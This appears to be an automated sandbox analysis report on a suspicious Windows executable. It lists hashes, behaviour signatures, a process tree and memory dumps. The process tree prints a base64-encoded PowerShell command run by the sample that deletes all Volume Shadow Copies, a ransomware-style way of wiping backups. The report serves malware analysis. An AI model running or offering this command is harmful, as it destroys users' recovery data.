Overview

overview

10

Static

static

10

ece4c1e4c7...2b.exe

windows7_x64

6

ece4c1e4c7...2b.exe

windows10_x64

6

Analysis

  • max time kernel
    143s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 00:45

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General

  • Target

    ece4c1e4c72a361db47c69df061a2aeccddb5dba17d8fb1eff6cad0a67975b2b.exe

  • Size

    164KB

  • MD5

    85edb2d3679069c14a745d32a06aadc2

  • SHA1

    a940552eedff6ffc2565c10fc9445b5fc5ac2960

  • SHA256

    ece4c1e4c72a361db47c69df061a2aeccddb5dba17d8fb1eff6cad0a67975b2b

  • SHA512

    40dbe54a72fef2ff455a6a4a603c1134d3c178f50afa06bef3c6360117db10d30bdd3b83d85fdd216cf642991cab01ffdf16b6398bb45fd8a97d0d21f905eeae

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ece4c1e4c72a361db47c69df061a2aeccddb5dba17d8fb1eff6cad0a67975b2b.exe
    "C:\Users\Admin\AppData\Local\Temp\ece4c1e4c72a361db47c69df061a2aeccddb5dba17d8fb1eff6cad0a67975b2b.exe"
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:576
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1464
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1080

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/576-55-0x000007FEFC511000-0x000007FEFC513000-memory.dmp
      Filesize

      8KB

      Download
    • memory/576-57-0x00000000028A0000-0x00000000028A2000-memory.dmp
      Filesize

      8KB

      Download
    • memory/576-58-0x00000000028A2000-0x00000000028A4000-memory.dmp
      Filesize

      8KB

      Download
    • memory/576-59-0x00000000028A4000-0x00000000028A7000-memory.dmp
      Filesize

      12KB

      Download
    • memory/576-56-0x000007FEF38E0000-0x000007FEF443D000-memory.dmp
      Filesize

      11.4MB

      Download
    • memory/576-60-0x00000000028AB000-0x00000000028CA000-memory.dmp
      Filesize

      124KB

      Download
    • memory/1888-54-0x0000000076071000-0x0000000076073000-memory.dmp
      Filesize

      8KB

      Download